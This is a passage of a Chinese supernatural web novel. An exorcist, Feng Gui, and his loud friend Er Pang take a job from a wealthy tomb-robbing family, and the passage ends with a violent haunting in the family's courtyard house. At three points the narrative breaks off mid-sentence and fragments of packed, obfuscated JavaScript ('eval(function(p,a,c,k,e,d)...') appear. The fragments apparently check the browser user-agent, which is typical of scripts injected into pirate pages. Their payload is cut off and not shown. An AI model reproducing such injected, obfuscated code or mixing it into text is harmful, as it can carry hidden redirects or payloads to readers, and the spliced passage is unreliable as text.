二胖一听是犀牛角,那可价值不菲啊,挑眉点头道: “哦,这两个一定是留给贵客使的,那我这个又是嘛材质的?” “你这是我店里唯一的木质茶器,我是怕你毛手毛脚将那些玉器砸了,就算我不让你赔,等我二叔和堂兄知道了非找你算账不可。” 封鬼半开玩笑半认真,二胖一听这话火了,跳起来高声吼道: “我去!真TM不够哥们儿啊!外人用翡翠的犀牛角的,你到给兄弟个烂木头的!怎么着?嫌霍爷寒碜配不上你这满堂金玉不是?” 封鬼见二胖那蛮横的暴脾气也不生气,摇头笑道: “你可别小瞧它,这也不是个俗物,比那翡翠碗还要值钱些。” “你少哄我外行!这个我可听说过,木头里就属紫檀金丝沉香价格最高,不过就这么一小块做杯子的下脚料,压根儿就不值几个子儿。就算有工艺在,那也不过是块烂木头!霍爷我看重的是实打实的真金白银,如果不是古董,根本就一文不值!” “哎,看来你要真跟着我干这行,以后要多让你长长见识,不然遇上大客户还真丢人现眼。这可不是什么普通的木材,而是小葫芦套了模子天然长成的器皿,千百中仅成一二,完好者最难得。而这上面的图形也是天然生成,更是万里挑一,世间独一无二啊。” 封鬼在那装模作样,咬文嚼字,活脱脱一教书书生,如果有胡子早就捋起来了。二胖见不得他这模样,嫌弃道: “切!就算天然长成的那又怎样,不过是个葫芦而已。霍爷我就喜欢真金白银的!再不济也得是个瓷的玉的!” “瞧你那点出息!这可是明代的醉卧八仙麝香瓟!只有皇帝才用得上的稀世珍品!你闻闻,是不是茶水中除了茶香还有一股异香?” 二胖一听是明代的,那可了不得,端起那麝香瓟一饮而尽,除了茶水特有的苦香,确实还有一种奇特的香气。反正他也没闻过麝香,又怕再被封鬼看扁,啧了啧嘴点头道: “不错,确实跟一般的茶不一样,果然是个玩意儿。”顿了顿,二胖来回扫了几眼屋子里的摆设继续道: “我说你这里那么多的宝贝,就随便舍给兄弟一个,让我拿回也好当个传家宝啊。” “这好说,等你与我做成这第一笔生意,你看上哪件我就送哪件,绝对不含糊。” 痛快!哥们儿够意思!就冲你这话,霍爷我为你上刀山下火海,那是绝无二话!” 封鬼笑而不语,看来二胖一样又说: “你刚才一进门说什么鬼啊?您霍爷不是不信这一套嘛!” 一提到这二胖就来气,骂骂咧咧道: “靠!你昨天在庆云楼变个女鬼吓唬我,又让她跟着我回家继续吓唬老子!你赶紧给我招了,你他娘的给我吃了什么迷药,变的什么狗屁戏法啊?” 二胖就把衣柜的事说给封鬼听,还一直觉得那是封鬼使的障眼法,变得下作魔术,目的就是吓唬自己让自己相信他那套封建迷信。封鬼却摇了摇头,叹气道: “我那天就说了,那是个风流鬼,在庆云楼的时候就看上你了。没想到半夜跟着你回家,想陪你做个春梦吧你妈妈却把人家给吓跑了。哎,可惜这风流鬼是个瞎眼的,竟然看上你这货色!哎!” 封鬼在那边笑边叹气,二胖差点儿恼羞成怒。不过他来可不是找气受的,非要把这鬼的真假弄个清楚不可。 “你他娘的给我说正事!如果这世上真有鬼,我以前怎么没见过?非就前天碰上你之后遇到鬼了?” 封鬼见二胖这是要兴师问罪,摇头笑道: “你忘了我给你擦眼睛的那块石头?那可是正儿八经的招魂石胆,能在十二小时之内看到靠近自己的鬼魂。” “真的假的?” 二胖还是不信,什么招魂石胆?就这么块破石头也能招出鬼来?刚想骂这拿自己开涮的损友,店里突然就来了两人,一个四五十岁的中年男人挽着一老太太,皆是披金挂银浑身名牌尽显奢华。尤其是那老太太,虽是一头银发,却面如珠玉,颈上挂一大肚翡翠笑弥勒,手里缠串金刚菩提子念珠,佛珠个个被磨得肚圆色润,可见所有者是个尽心向佛的善信。 “封老弟,好久不见啊,如今自立门户当上大老板了,可喜可贺啊!”那中年男人一见到封鬼就迎了上来,封鬼连忙客气的回礼,拱手招呼道: “哎呦!陈四爷您这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“封老弟说的是,干我们这行的就该有这种气魄……这位小哥是?”陈老四见那二胖在一旁来回陪笑,怕他没有存在感,好心提醒着封老板。 “哦,瞧我这见了老太太一激动差点给忘了。容我介绍,这是我的哥们儿兼合伙人霍尔潘。二胖,这位是屠乌门二当家陈四爷,这位是陈老太太。” 老太太冲两人点了点头作为回礼,几人又简单客套了几句,封鬼就切入正题。 “陈三爷的事我听说了,不知道他老人家现在怎么样了?” 封鬼这一说不打紧,刚提到陈三爷,陈四爷与老太太都变了颜色,满脸愁容的哀叹起来。封鬼不解的询问陈老四,只见他叹了口气,低声道: “都找你们封家出面了,你说这能怎么样?封老弟,你二叔既把这件事委托给你,你可得帮我们尽全力啊,不论结果如何,我陈家老宅里的东西随你挑。” “四爷严重了,我二叔抽不开身来不了北京,既然他把这么大的活儿交给我,凭着您与二叔的交情,无论如何我都会效犬马之劳的。再说这是我独立门户的第一笔大买卖,就算为了能在业界站稳脚跟,怎么着小弟也要来个开门红啊。” “有你这话我就放心了。老太太心疼儿子,非要跟着来,具体的情况就由妈您说给封老弟吧。” 陈老四安慰的看了眼自己的老母亲,老太太的神色突然变得惊恐起来,颤抖着叫道: “造孽啊!这是着了魔障,鬼上身啊!” 鬼上身?二胖心里一咯噔,真的假的?这老太太看着不像是没文化啊,还这么封建迷信?他们到底是耍的什么鬼把戏啊? 不过自己一个外人也不好意思插嘴,只能继续往下听,看看这究竟是怎么个鬼上身。 4. 【4】三千恶鬼陈癞子 原来那屠乌门的大当家陈老二得了怪病,卧床整整一年不起,看了多少医生药石枉然,后又请了无数和尚道士做法都不见好。 屠乌门也是风水八卦的大宗家,知道这是邪祟缠身,着了魔障,却不知来头,自家也没有能力降那魔邪。 后来见陈老二命之将休,怕是活不长了,老太太不忍见儿子死后被那邪祟害得魂飞魄散,就想找封家的人将陈老二的魂魄与那魔邪封印在一处,以免放它出来继续危害人间,也好将陈老二的魂魄供奉在祠堂,一是助他消除魔障早日超脱,二是保佑屠乌门世代兴盛。 霍二胖跟着傻子一样在一旁云里雾里,越听就越玄乎,简直就像是玄幻小说,什么降妖除魔的和尚道士都出来了,压根儿就觉得这帮子人实在是封建迷信的可笑,却又不敢插话发问,只能等事后再找封鬼问个明白。 几人聊了半天,到了晚饭的时候封鬼要请陈家母子二人下馆子,陈四爷推辞,从包里掏出一个巴掌大的羊脂玉葫芦,说是定金,事成之后宅中古玩珍宝任他挑选。二胖一见那成色莹润,个头又大,虽然不怎么懂却也看着眼馋。 封鬼佯装客套推辞了两下,便接到手里,见二胖眼巴巴的瞅着,就大方的借给他把玩起来。 “成,这事就交给小侄吧。怎么说三爷和我爷爷也是世交,这个忙我一定帮到底。等我准备好之后,定了时间就去府上。” 送走陈家两位贵人,封鬼见二胖两眼发亮的盯着手里的玉葫芦直吞口水。 “这TM才是真家伙!你那葫芦再稀奇也不是玉的。这他娘的到底值多少钱?你赶紧给我估个价!”二胖把葫芦还给封鬼,封鬼透过灯光仔细研究了会儿,沉声道: “这应该是明代高官大臣的陪葬品,价格难以估量啊。” “我去!这TM是一明器啊!陈家这么有钱,到底是什么来头?霍爷我在京城这二十多年咋从来没听说过?” 封鬼没有说话,却转身走进了内堂,二胖见他竟然敢无视自己刚想发飙,就见他走了出来,手里拿了盒茶叶递给二胖。 “这是特级洞庭碧螺春,一嫩三鲜俱全。你先拿去孝敬伯父,等以后还有更好的再给你。” 二胖一愣,随即就笑逐颜开的接到了手上。 “好家伙!够意思啊。我说你既然后面放着茶呢怎么不多摆点出来镇店啊?” “你懂什么?物以稀为贵,客人见了我这店中摆出来的都是珍品,且又稀少,自然是没得挑头二话不说就会买走。这是经商之道,你就慢慢学吧。走,带你吃羊蝎子去。” “干,干吗?你别想好茶好吃的就转移话题啊,这听了一下午我是越来越想不出你是干什么的了,别跟我说你是个跳大神的!霍爷我最不待见的就是那些个封建迷信思想!” “得了,你就乖乖跟着我去,咱们边吃边说。那家羊蝎子好吃的很,份量大味儿又足,包你这吃货乐不思蜀……” 一路上二胖忍着没发问,到了安定门内大街,进了封鬼说的那家土锅羊蝎子馆,点了二斤羊蝎子三个凉菜六瓶啤酒,二胖是再也憋不住,刚要开口,封鬼就自己说上了。 “干我们这行的分四大宗派,道派、佛派、法派、巫派,合称四大家。四大家最初的信仰、理念、观点都是大相径庭,经过这么多年的交流与融合四大家相互融会贯通各取长短,界限虽然已经没有那么明显,但面儿上还是对立相克的,谁也不服谁。四大家又分十三大门派,陈家所属的屠乌门与我们封家所属的封门是道家两个最大的门派,而陈三爷就是现在屠乌门宗家的大当家。他们陈家最善堪舆玄空之术,历史上出了不少摸金校尉,所以发家也快,不少家当都是从古墓里盗出来的,因此这玉葫芦肯定是个值钱的明器。” “我去!那这么说他们是盗墓贼了?这可是犯法的勾当,我说你别和他们做生意了,别到时候这钱没赚到还惹了一身骚!”二胖灌了口啤酒,愤然骂到。封鬼摆了摆手,示意他小声点。 “这你放心,他们家早就在□□之后洗白了,现在做的是玉石黄金买卖,势力大的很,道上没人敢招惹他们。” “洗白啊。唉?我有一点没弄明白,那陈三爷既然是排行老二为什么不叫二爷呢?还有陈四爷,难道他还有个三哥?” “陈老二名叫陈三水,所以道上的人给他面子叫他三爷,陈四爷确实排行老四,不过没有三哥,却有个三姐,嫁给了一个德国富豪,常年在国外,也不怎么管家里的事。” “哦,原来是这么着啊。等会儿,你这说了半天我还是不清楚你具体是干什么的。之前你说自己是降魔师,陈家又找你去给他们大当家镇魂,这到底是真是假啊?” 二胖原本是个无神论者,可这两天一下子从封鬼那接收了这么多真实存在的信息,虽然还是信少疑多,但至少是不排斥,听多了对这些鬼神之事还起了兴趣。 “是真是假等明日到了陈家你自个儿见了就知道了。”封鬼也不跟他废话,凡事讲究眼见为实,任自己说得天花乱坠,只要人家没有看见那也还是会怀疑这是子虚乌有。 “好,就算你说的都是真的,就算那陈三水真的着了魔,可他们陈家跟你们封家一样都是降妖除魔的,他们自己都搞不定你一外人就能搞定了?” “屠乌门和封门虽然同宗却不同门,屠乌擅堪舆风水,所以就走了邪门去盗墓。而我封门擅长封鬼镇魂,不论妖魔还是鬼怪,实体不在了,可以把魂魄封印在法器之中,不用去地狱,还可以存在于阳间。陈家就是想将三爷的魂魄封印在镇魂蛊里,然后供奉在佛像前,渡他超脱,为陈家赎罪,也好抵消陈家的罪孽,让佛祖保佑他们后世兴旺。” 封鬼越说二胖越是不明白。之前他以为那陈三爷是遭魔邪缠身,才要为他镇魂超度,怎么现在又说是要为陈家赎罪呢? “为什么啊?陈三水有什么罪恶?难不成他年轻的时候盗墓太多犯了太岁,佛祖不容他才要找魔鬼缠他,让他死不瞑目?” “你说对了一半,他确实罪大恶极,只不过不是因为盗墓。陈家祖上是湖南长沙有名的土夫子,也就是盗墓贼。清朝末年政府干预,家道开始中落,到了民国晚期三爷的父辈就做了土匪,却还是拉帮结伙的干盗墓的勾当。陈三水的爹为人心狠手辣,为了发财坏事做绝,一辈子杀人无数,当年长沙一带只要提到他那是闻风丧胆。因为他头上生了块癞子,怕他的人就称他为癞头鬼霸王,瞧不起他的就叫他陈癞子。” 封鬼喝了口茶清了清嗓子,继续给二胖讲那陈癞子的事。其实二胖这人特八卦,又特爱招惹事端,也特爱听故事,他一听人家是土匪,又叫了个癞子的外号,心里别提有多兴奋,连酒也顾不上喝,肉也顾不上吃,跟好学生听老师传授知识一样饥渴的盯着封鬼,听他接着往下说。 说到了建国初期,陈癞子因为作恶多端,被抓了起来,人家审问他这辈子杀了多少人,他说三千。人家笑话他说大话,他就说是如来佛祖给他托梦说他前世是地府的阴司,因为醉酒误放了三千恶鬼于阳间作恶,于是佛祖惩罚他投胎转世为人,要他将那三千恶鬼杀回地府。 这话没人信,不过却给陈家钻了空子,说这陈癞子有精神病。又因为家里有钱有势,出了医院证明打通了不少关系好歹把他救出来,举家搬迁至北京,从此洗白成了正经的生意人。 陈癞子活到九十三岁高龄,死之前将一家老小叫到床前,又将阴司杀恶鬼的事讲了一遍,还说佛祖又托梦给他,说他只杀了两千九百九十七个人,还差三人,债务只好转到他儿子头上,如果杀不满三千人,佛祖怪罪,陈家会遭报应,之后一口气没提上来就归西了。当时家里人只当他老糊涂说混话,没有人信。而且陈老大一心修道成佛,是个大善人,更不可能有杀人的念头。可老二陈三水却是个心思重的迷信主,而且陈三水果敢狠决,性格和外表最像他爹,头上也有块癞子,生意上的朋友也有叫他陈癞子的。陈三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不过我倒是有个疑问,按理说这陈三水好歹也有七八十了,怎么那陈老太太也是七八十的样子?而且陈四爷不过四五十,这哥哥比弟弟大了三十岁,那不都能赶上爹了?” 二胖挑起浓眉,笑得要多贱有多贱,封鬼忍不出咧了咧嘴,也笑了起来。 “我说你怎么净注意些不正经的八卦啊。那老太太是陈癞子后来纳的夫人,小他三十多岁呢。陈四爷是老太太的亲生儿子,三爷可不是。” “哦!原来如此啊!我说那老太太怎么不关心儿子的死却关心屠乌门的兴衰,我看她巴不得三爷死了好将大当家之位让给自己亲儿子坐呢!还信佛来,不过也是个恶毒婆娘嘛!” “你他娘就不能积一点儿口德啊?等到了陈家你要因为乱说话被人家乱棍打出来可别怪兄弟我翻脸不认人啊。” 封鬼真怕日后二胖这口无遮拦的莽撞性子坏事,二胖生怕他变卦不带自己去了,连忙正色道: “你当霍爷我真傻啊!放一百个心,兄弟绝对不干挡人财路的缺德事。不过话说回来,你是准备怎么捉鬼降魔呢?你到底是啥时候学会干这个的?我怎么之前一点都不知道啊?” 大学同学兼损友四年,藏得可真够深,二胖是一点没看出来封鬼不但家境富裕,竟然还是个半仙儿。 “我要和你说我也是毕业之后家里人才告诉我真相,而且我们祖辈世代都是以经商为幌子,就这几年我跟着二叔打工才学了些皮毛,你相信么?” “信,你现在说啥我都信。那我能见到真鬼不?不是说只有开了天眼的人才能看到脏东西吗?要不然我去抹点狗血,实在不行你现教我几招防身!哎,不行,我明儿得去灵光寺拜拜去!要不我也求个金佛来驱驱邪!你说……” “服务员!这里结账!”封鬼实在无法忍受二胖那啰嗦的话唠,连忙起身走。二胖见锅里还有块羊蝎子哪里肯放过,连忙抓手里冲封鬼喊道: “哎!我说这还没吃完呢你怎么就走了?谁结账啊?!哎!” “霍爷您今天听了我这么多故事知道我这么多秘密哪还有再白吃白喝的道理啊?这顿你请了,服务员,找那胖子结账啊!兄弟我先走了,明天再联系哈!” 封鬼冲女服务员笑了笑就脚底抹油溜走了,害得那妹子羞答答的点了点头,愣在原地半天没动弹。 二胖在剩下的一块羊蝎子与饭钱之间纠结了老半天,终于还是选择了口舌之快,留下来继续啃那块骨头,嘴里边啃还边骂着。 “靠!封鬼你TM真绝!等着吧,看霍爷我怎么收拾你!” 5. 【5】老宅雨夜 第二天下午二胖到了聊茗斋,陈家派人准时来接,二胖一见那车就傻眼了,他们竟然用大G来拉货!真TM暴殄天物啊! 不过下一秒二胖就释然了,他和封鬼被请上了一辆迈巴赫,那一路上给二胖兴奋的,跟司机说个没玩,差点没烦得人家甩了方向盘。 到了陈家老宅,看到那占地不小的建筑物,即使是见过世面的封鬼也跟二胖一样愣住了,没想到北京竟然还有这么大的私人四合院。 世界第一大四合院不用说自然是故宫。第二大就是恭王府,人家那是三路五进四合院,可陈家这排场要是排第四那还真难说敢有人排第三。 对于四合院二胖还是略知一二的,清朝大太监李莲英的海淀豪宅,那也不过是三进,可这陈家竟然是四进。 跨进朱红大漆门,院中兰草芬芳竹影婆娑,庭阶错落有致曲径通幽,那是红墙绿瓦精雕细琢,鸟语花香儒雅别致,好一个诗情画意的雅致庭院! “二位在这稍候片刻,我去请四爷过来。” 佣人离开之后,封鬼打量起这待客厅堂中的摆设,不禁惊叹:燕赵之收藏,韩魏之经营,齐楚之精英,几世几代,那可真是倚叠成山啊! 只见几朝几代名家字画悬于高墙之上,六把太师椅三面围绕,黄花梨雕花小木桌上摆一雕漆龙纹海棠花式大托盘,上面放着清一色明明成华五彩福寿小盖碗,绘有蝙蝠仙桃的图案,真是富贵奢华不尽其及。 虽然不知这瓷器的真假,可凡人都有先入为主的观念,陈家大富大贵,就算是人家的铜铸夜壶那也会被认为是纯金打造的。 “好家伙!这陈家真TM是富可敌国啊!我说小封,你这次一定要好好表现,非把那陈四爷和老太太伺候的满意咯!架子上这对青花瓷瓶兄弟我就先预定了,等到了别的屋子我再看看,要是有好的那一并收了霍爷我绝不嫌多!” 二胖盯着那对瓷瓶看了又看,不住的撇嘴点头,就像是品头论足的行家。 “瞧你那没出息的样!就这么两个瓶子就入了你的眼啦?你倒是知不知道这能值几个钱。” 二胖嘿嘿一笑,道: “管它值多少钱,只要是陈家的东西随便一件那都能做我们穷人的传家宝。我说这回你可别小家子气,反正你跟他又没什么亲戚,别挡着霍爷我发财。再说这些个东西都是摸来的明器,全TM是不义之财,给了我权当救济穷人,算他功德一件。” 二胖说得理直气壮,一点也不觉得臊,封鬼见他如此大言不惭,嗤了一声: “你也知道是不义之财,那还敢用。” “我说你这人怎么那么喜欢假清高呢?别在我面前装,我还不知道你什么人啊?贪财爱占小便宜唯利是图见空就钻!就说你昨晚上,明明说是你请客,TM没良心的就这么跑路了!害得霍爷我白白没了五百大洋!你不知道我现在是无产阶级啊!真TM奸商!心比碳还黑!” 一想到昨晚的那顿饭钱二胖就心肝脾肺肾一起疼,扯着破锣嗓子在那装可怜,封鬼实在拿那孙子没辙,急忙拱手求拜。 “得得得!我错了还不成嘛!我说你咋跟个娘们儿一样没完没了了还!” 二人正吵闹着,陈四爷就拿着个扇子从偏门进来了,三人寒暄一番,封鬼便要去见三爷。 “不急,不急,今儿个天也晚了,二位先在这住一夜,明天我们再作计较如何?” “这天儿还亮着呢,夏天黑的晚,咱们不如早开始早了事,”也好拿钱走人。二胖真实想法哪敢说出口,盯着四爷那檀香木骨金粉点荷图的苏面折扇两眼发直,就差没流口水了。封鬼怕他丢人,用胳膊肘拐了他一下接着说: “四爷,您就直说吧,是不是有什么不方便的?我二人来得不巧?是否家中出了什么变故?” 封鬼早就看出陈老四面带愁容,一脸的心事重重。对方见他已经看出来了,便也无心瞒着,直截了当的回道: “不瞒封老弟,我请你们封家人来祖宅的事,被金兜门的人知道了,他们怕封家借机加害我二哥,就找上门来了,正在我二哥的屋里守着,没人敢靠近。” “哦?金兜门的人?是谁?” “就是解大当家的千金解鸦门谢大小姐。” 二胖一听是个女的,霎时间精神百倍,以为封鬼会继续追问四爷,可没想到他却什么都没多说,只是点了点头便应和道: “嗯,行,既然这么着,那就全听四爷的安排。” “难得封老弟深明大义,你先和霍老弟在客房休息一宿,明日等我与鸦门小姐商妥之后再作打算。” 陈四爷领着两人去了二进的客房,那陈三水住在四进的最深处,门口又有金兜门的人把守,今晚想自个儿闯进去见一面那是绝对不可能了。 虽然是客房,可也是各种书画古玩摆设齐全,二胖又看中墙上挂着的一把青铜剑,还有案几上的紫金檀香炉。封鬼没理他,径自躺上了四人宽的雕花架床榻,眯着眼把玩床边垂下的赭黄绸缎床帐流苏。 二胖在房间里来回晃悠了半天,见封鬼也不理自己,有点委屈的吸了吸鼻子,叹道: “哎!这就是命!霍爷我打小就招蚊子,用过最好的不过十几块钱一盒的雷达电蚊香片儿,你再看人家,熏蚊子用的都是檀香,正儿八经的古董香炉,连客房里摆的都是龙床,那要是主人还不知道睡的是什么观音如来的莲台呢!” “你就不能安静会儿?我这脑子都要被你吵炸了!”封鬼不想再听那掉钱眼子里的二货唧唧歪歪,忍不住爆发了。二胖一见他恼了,也知道自己表现的过于低俗太没内涵,连忙道歉转移话题。 “得!霍爷我没见过世面!这里给鬼爷赔礼了!你说刚才陈四爷提到的那个什么鸭门是什么来头啊?你咋一听这人二话不说就躲客房来了?你是不是害怕啊?” 按理说封鬼也是个好奇心重的人,突然有人来找茬,他肯定不可能熟视无睹,却在刚才表现的一点都不关心,更是在听到解鸦门这个名字之后也不追问就乖乖的来了客房。 二胖心想这原因那只有一个,那就是这二人有仇啊。 封鬼瞪了二胖一眼,心说你这孙子就会使诈,不过倒给你诈对了方向,也没啥好瞒的,就把事情的原委道出。 “你不知道,金兜门原来是属于屠乌门的,后来独立出去自成一派。他们都是陈家的徒子徒孙,陈癞子的大太太也就是陈三水的亲娘是金兜门曾经大当家的亲妹妹,所以他们对三爷是忠心耿耿,自然不想让屠乌门落入四爷的手里。怎么说三爷还有儿子呢,这宗门的规矩就是只传嫡长子,就算三爷死了当家的也得他儿子坐,哪轮得到陈四爷?” “好家伙!原来还有这么多门道啊!你们这行的水可真够混的,堪比那紫禁城的宫斗啊!” “这还不算什么,只是那解鸦门不是别人,正是三爷未过门的长孙媳妇。 三爷的大儿子自从老婆病死之后便了无生趣,在一个风雨交加的夜晚失踪了,再也没有出现,留下他儿子也就是陈家的长孙,当家之位自然是由他继承。 从此屠乌与金兜联手,他们这是亲上加亲,怎么可能将屠乌门当家之位拱手让人呢?” “我去!孙媳妇?那不跟我们差不多大?你见没见过啊?人长得漂不漂亮?”二胖继续追问,封鬼顿了下,有些犹豫的说: “你以为我为什么听了她的名字就躲?当然是见过!虽然是小时候,但我到现在还有心理阴影呢。那小妞可不是个温柔的淑女,跟个奔放的汉子一样,不,比汉子还汉子!我十岁的时候她才八岁,结果我竟然被她扛起来摔湖里去了!那时候正好春节,湖里都是大冰块,冻得我发了一个星期的烧,差点没活过来。” 说到这封鬼抹了把额头,到现在都心有余悸,对那位辣手摧草的彪悍妹子实在是没什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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嘴上这么说,封鬼心里倒是打起了如意算盘。黑带四段怎么着也算是挺厉害的了吧,带着这么个保镖在身边以后遇上妖魔鬼怪好歹也能壮个胆啊。不错,这功夫得继续练,不能荒废了,日后得劝他继续,趁早拿下九段。 … 一个炸雷把封鬼从梦中惊醒,他屏气凝神,看向窗外随疾风摆动的树影。 不知道什么时候开始下的雨,屋外电闪雷鸣。如此吵闹,却不见二胖醒来,依旧趴在那睡得像头死猪,鼾声四起,堪比雷电,也不知道自己是被这鼾声还是雷声弄醒的。 打了个哈欠,封鬼准备躺下继续睡,却听得风雨雷电之中隐隐约约夹杂着猫叫。 封鬼竖耳倾听,那尖细的叫声时有时无,在这风雨交加的黑夜听起来格外的瘆人。 真是奇怪,下午来的时候没有见到这宅子里有猫啊。封鬼撇了撇嘴,准备继续睡,只听那猫叫越来越近,越来越刺耳,似乎就在他们的窗下! 不对!那不是猫叫,那是女人的叫声!封鬼这回听真切了,那确实是女人的叫声,就像是遇到了最恐怖的事情的时候女人被吓到才会发出的尖细凄厉的叫声。 “二胖,醒醒!二胖!”封鬼推了推身边的二胖,那身板壮实的像堵墙,怎么也推不动。封鬼就纳闷了,这么吵他怎么还睡得着。 只听那叫声如魔音穿耳,似乎已经越过门窗就在屋内徘徊。封鬼暗叫不好,连忙抽出随身别在腰间的一把银柄短刀挡在面门前,只见刀身发出的寒光在黑夜中闪烁不定,挂在刀把上的红线银铃叮叮当当响个不停。 封鬼瞪圆双眼死死盯着对面的空气,就像是见到了什么恐怖的事情,连额头都冒出了冷汗。 就在这时,女人的叫声戛然而止,封鬼只觉得一阵强劲的阴风扑面而来,随后有什么东西撞上了自己的胳膊,然后一切归于平静,就连风雨雷电都停止了所有的声音。 封鬼不敢大意,连忙侧身看向二胖,还是趴在那没什么反应,不免松了口气,正想伸手叫醒他,却见他自个儿翻过身来,那动作有够僵硬迟缓,完全不像是平时里风风火火的样子。 封鬼心想他这是刚醒还没回过神,就坐在那里等,没想到等那张脸完全转过来之后,竟然根本就不是二胖的,而是个无眼无口无嘴无鼻,只有三个黑洞的大如斗笠的惨白巨脸! 6. 【6】德艺双馨周老板 封鬼一见那哪里是二胖,根本就是个巨脸怪物,吓得连连后退滚落床下,将手中的匕首也掉落在地,慌乱间急忙伸手去摸,就这么短短的数秒那张巨脸已经到了他的面前,张着那黑暗无底的大口喷出令人作恶的腐臭之气。 就在这千钧一发的时刻,封鬼终于摸到了那把短刀,挥起就砍,一下就刺入了巨脸的面门。 “啊!!” 二胖大叫一声,疼得他直咬牙,只见封鬼握着把乌黑的匕首划破了他的肩膀,血瞬间就渗透了白色衬衫。 “操他娘的姥姥!我去你个王八龟孙子!你他娘的疯了是不是?!你TM竟然敢砍你霍爷我?!靠!!!” 二胖从来都不是个吃亏的主,原来睡得好好的,突然被疼醒,见到自己肩膀被人扎出个血窟窿,哪里还管是不是故人,一脚踹上封鬼。 他本就魁梧,这一脚又带着狠毒,踹上去力道堪比驴踢马蹬,将封鬼踹倒在地滚了两滚。 眼见个大活人被自己踹在地上滚了两圈,二胖终于也恢复点神智,此时突然一道耀眼的闪电劈亮了屋中的黑暗,二胖见地上的人确确实实是自己的兄弟封鬼,就是想破头他也不可能有什么理由会害自己,便捂住肩头咬牙怒道: “你他娘的少装可怜!赶紧给我起来把话说清楚!你TM的是不是梦游呢?!杀人也给个理由先!霍爷我招你惹你了?至于下这么毒的手吗?!” 封鬼愣了愣,好像还没从刚才的惊愕中回过神。见二胖那张脸在闪电的照射下比鬼还要狰狞三分,咧嘴干笑一声,自个儿爬起来拍了拍屁股道: “老子好心救你一命还在这给我横!抓紧把灯打开!” 二胖有点莫名其妙,刚想发火,觉得黑灯瞎火的实在不方便,就依言把灯打开,这一开不要紧,竟看到眼前的封鬼面色惨白,比背后的白墙还要白些。 “你他娘的怎么了?是霍爷我挨刀子流血又不是你,你怎么跟娘们儿来了大姨妈似的,一脸的失血过度!” “嘴这么欠!你胳膊不疼啊?” 封鬼检查了二胖的肩膀,虽然流了不少血,还好只是皮肉伤,没有伤到筋脉和骨头。 他取了行李中的随身药箱给二胖消毒包扎,虽然那冒失鬼还是骂骂咧咧一肚子的委屈,不过好歹胳膊被绑了也没法再动手。 包扎完毕之后,封鬼去卫生间洗净满手的血渍,盯着满脸疑问的二胖看了会儿说道: “你刚才遭鬼上身了,而且是个恶鬼。要不是我那一刀,恐怕你现在已经去见如来了。” “真的假的?你别坑我啊!是不是你趁机报复!我以前得罪你了?大学的时候我是抢了你的女友还是借了你的钱没有还啊?真TM没想到啊,你怎么就这么歹毒啊?这是人不是牲口,有你这么往死里砍的吗?我说你这匕首哪儿来的?你不知道私藏管制刀具犯法啊?” “我说你都留这么多血怎么精力还这么旺盛啊?你看你的手腕上,是不是有个爪印。” 封鬼还后悔救他一命了,你说留着这么一话唠在身边,以后他还能有安生的日子吗? 二胖一听这话下意识的抬起了手,果然见到个红手印,他本就白胖白胖的,衬得那红手印更加突兀刺眼。 “我去!这TM是什么东西?!” “这是鬼手印,是刚才那个恶鬼留下的。证据可就在这了,信不信由你。”封鬼说得轻描淡写,二胖显然不怎么相信,狐疑的盯着他问道: “那鬼长什么样啊?男的还是女的?穿没穿衣服啊?” “你要不信就算,等早晚碰上了,别吓得尿裤子就行。” 封鬼忍不住讥笑,二胖依旧是将信将疑,不过要是让他相信是封鬼无怨无故捅了自己一刀,那还不如相信自己是被鬼上身了。 当下便也没再多有抱怨,摊开手冲封鬼努了努嘴道: “把你那刀给我看看,别说还挺特别哈。” 封鬼依言将那把短刀匕首递给他,二胖拿在手里仔仔细细看了半天,未免有些古怪。封鬼看出他的心思,开口道: “这刀是爷爷留给我的传家法器,也是封门嫡传人的身份象征,叫做邪牙刀。这是一把妖刀,传说是在一个千年狐妖的体内炼铸而成,非金非银非铁,不属于任何一种金属。” “真的假的,我看就一生铁!瞧这黑的,跟生了锈一样。就这刀把儿还能值点儿钱。” 二胖见他说的太过玄乎,压根儿就不信,不过这外形像短剑的匕首确实古怪的很,通体乌黑,无峰无刃,钝如沙石,简直就是块破铜烂铁,却用上好的油蜡疯马皮裹着;刀把是用雕花的泰银包铸的,镶有碧玺和绿松石;末端挂着两个用红绳扎金刚结拴的雕花镂空银铃,晃动之后发出的声音十分沉闷,不留心根本就听不见。 只是这华丽的刀把与那刀身实在不搭调,衬得那乌铁短刀更加的笨拙锈钝。 “真的假的我也不知道,不过刚才确实是邪牙救了你一命。它在遇到妖魔鬼怪的时候铃铛就会发出清脆的声音,作为警示。” 封鬼这回的语气十分严肃认真,搞得二胖很心虚,有点儿相信他确实救了自己一命。 “好,就算我真被鬼上身了,那你知道那鬼是什么来头吗?他干嘛不附你身上啊?” “这鬼知道我是降妖师,自然怕我不敢近我的身。只是我不明白他为什么要附在你身上。既然明知道我会对付他,干嘛还找上门来呢?” 这点封鬼怎么想都想不明白。按理说鬼怪是邪祟,遇到他们降妖除魔的都绕道走,没几个傻缺上门找死的。 二胖打了个哈欠,说: “这有什么不明白的?不做亏心事不怕鬼敲门!既然鬼找上你,那肯定是你做了什么对不起他的事,他来索命啦!” “你能不能正经点儿?我从小就不怕这些,除非他们找死,否则都是我去找鬼哪里有鬼敢来找我?” “说的也是,要不然你也不会叫封鬼啊。嗯,也许是那个鬼有事找你?他知道你是降妖师,却不怕死非要找上门来,也许是知道你的厉害想要找你帮忙?你倒好,也不听人家说什么就把人赶走了,还害得老子白白多了个血窟窿!” 封鬼一听这话还真有点意思,二胖这人很少按常理出牌,一向没个正形,满脑子的歪点子馊主意,若是遇到危急关头倒还真能想出常人想不到的事情来。 “你这么说倒是有点道理。不过他都已经被我赶跑了,到底是不是也不知道。” “哎!操这么多心干什么!等遇到了再说!不过话说回来,霍爷我今晚受了惊吓遭了你的罪,明儿个你非得给我补回来不可!” “怎么补?” 